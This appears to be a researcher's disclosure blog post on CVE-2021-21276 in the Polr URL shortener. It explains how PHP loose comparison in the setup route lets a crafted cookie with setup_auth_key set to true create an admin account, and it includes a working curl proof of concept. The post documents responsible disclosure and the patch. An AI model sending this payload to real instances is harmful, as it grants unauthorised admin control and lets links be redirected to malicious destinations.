Polr URL Shortener Admin Takeover

4 min read

Polr is an open-source URL shortener written in PHP. It uses the Lumen framework, and there are at least 1100 active instances running and exposed to the internet.

It's built on Lumen 5.1 which was released in 2015 with 3 years of security support. When I was setting up a testing environment, I also noticed that it wasn't compatible with PHP later than 7.3 (out of active support, with security support for about 10 months), or MySQL 8.

Setup Process

Polr is targeted at developers not familiar with the Laravel/Lumen ecosystem, so it includes a setup wizard. Once you've installed the code on the server and configured the web server, you're presented with a nice GUI to fill out your settings.

Setup Screen for Polr

This setup screen is protected by an environment variable written to the .env file, which disables it once it's been run once. The new .env file, populated with the settings from the GUI, is written and the browser is redirected to a setup complete screen.

The route you are redirected to (/setup/finish) is responsible for doing most of the setup. Since the environment variables are loaded from the .env at the start of the request, the initial setup request does not have access to any of those variables. As a workaround, the Polr developers redirect to /setup/finish from the first page, and this new request has access to the correct environment variables.

This second step is responsible for migrating the database (setting up the tables), updating the GeoIP database, and creating the initial admin user. Polr sets a cookie in this initial request with some information required for the second page, along with a secret token to block unauthorized users. The content of the cookie is a JSON object, as follows:

{
  "acct_username": "polr",
  "acct_email": "[email protected]",
  "acct_password": "polr",
  "setup_auth_key": "d2fbec1321de3bc53af2fe7716c4b90c"
}

The Vulnerability

First, the controller checks if the setup_arguments cookie is set, returning 404 if not. The cookie is then unset, and compared against the setup key which was generated and stored in the first step (in the .env as TMP_SETUP_AUTH_KEY).

To check if this is an authorized request, Polr uses loose comparison, checking that the auth key matches the one passed in the cookie. In PHP, comparing true with any non-empty alphanumeric string will return true (example). Since we can control the cookie, we can pass true as the second parameter of the comparison and force it to return true.

if (!isset($_COOKIE['setup_arguments'])) {
    abort(404);
}

$setup_finish_args_raw = $_COOKIE['setup_arguments'];
$setup_finish_args = json_decode($setup_finish_args_raw);

setcookie('setup_arguments', '', time() - 3600);

$transaction_authorised = env('TMP_SETUP_AUTH_KEY') == $setup_finish_args->setup_auth_key;

if ($transaction_authorised != true) {
    abort(403, 'Transaction unauthorised.');
}

A couple of lines down (after running the migration and GeoIP update, which will succeed if the instance is active), Polr creates a brand new admin account with the details from the cookie. Once we're inside the admin panel, we can perform any action including editing the destination of any created links, creating other admins, and modifying settings.

$user = UserFactory::createUser(
    $setup_finish_args->acct_username,
    $setup_finish_args->acct_email,
    $setup_finish_args->acct_password,
    1,
    $request->ip(),
    false,
    0,
    UserHelper::$USER_ROLES['admin']
);

return view('setup_thanks')->with('success', 'Set up completed! Thanks for using Polr!');

Proof of Concept

I set up a new instance, configuring it to use a fresh RDS MySQL database. I then navigated to the application URL and configured the first step by setting the database credentials, site settings, etc.

Upon pressing the setup button, I was redirected to the /setup/finish endpoint and shown a success screen. I was able to log in with the admin account credentials I set during the setup.

I constructed the malicious cookie, and using curl I sent the malicious request to the setup endpoint, which returned a 200 status, and the HTML for the setup success page.

curl --location --request GET 'https://polrtest-vhxwh.ondigitalocean.app/setup/finish' \
--header 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0' \
--header 'Accept: text/html' \
--header 'Cookie: setup_arguments=%7B%22acct_username%22%3A%22adminuser%22%2C%22acct_email%22%3A%22adminuser%40gmail.com%22%2C%22acct_password%22%3A%22adminuser%22%2C%22setup_auth_key%22%3Atrue%7D;'

I was then able to log in with my malicious account, adminuser, and access the admin management panel.

Polr Admin Panel

Timeline

  • January 24, 2021: Report and POC sent to the Polr maintainer.
  • January 25, 2021: Maintainer acknowledges the issues.
  • January 27, 2021: CVE-2021-21276 is assigned to the vulnerability.
  • January 29, 2021: Maintainer publishes a GitHub security advisory and releases a patch in version 2.3.0.
  • March 2, 2021: Blog post published.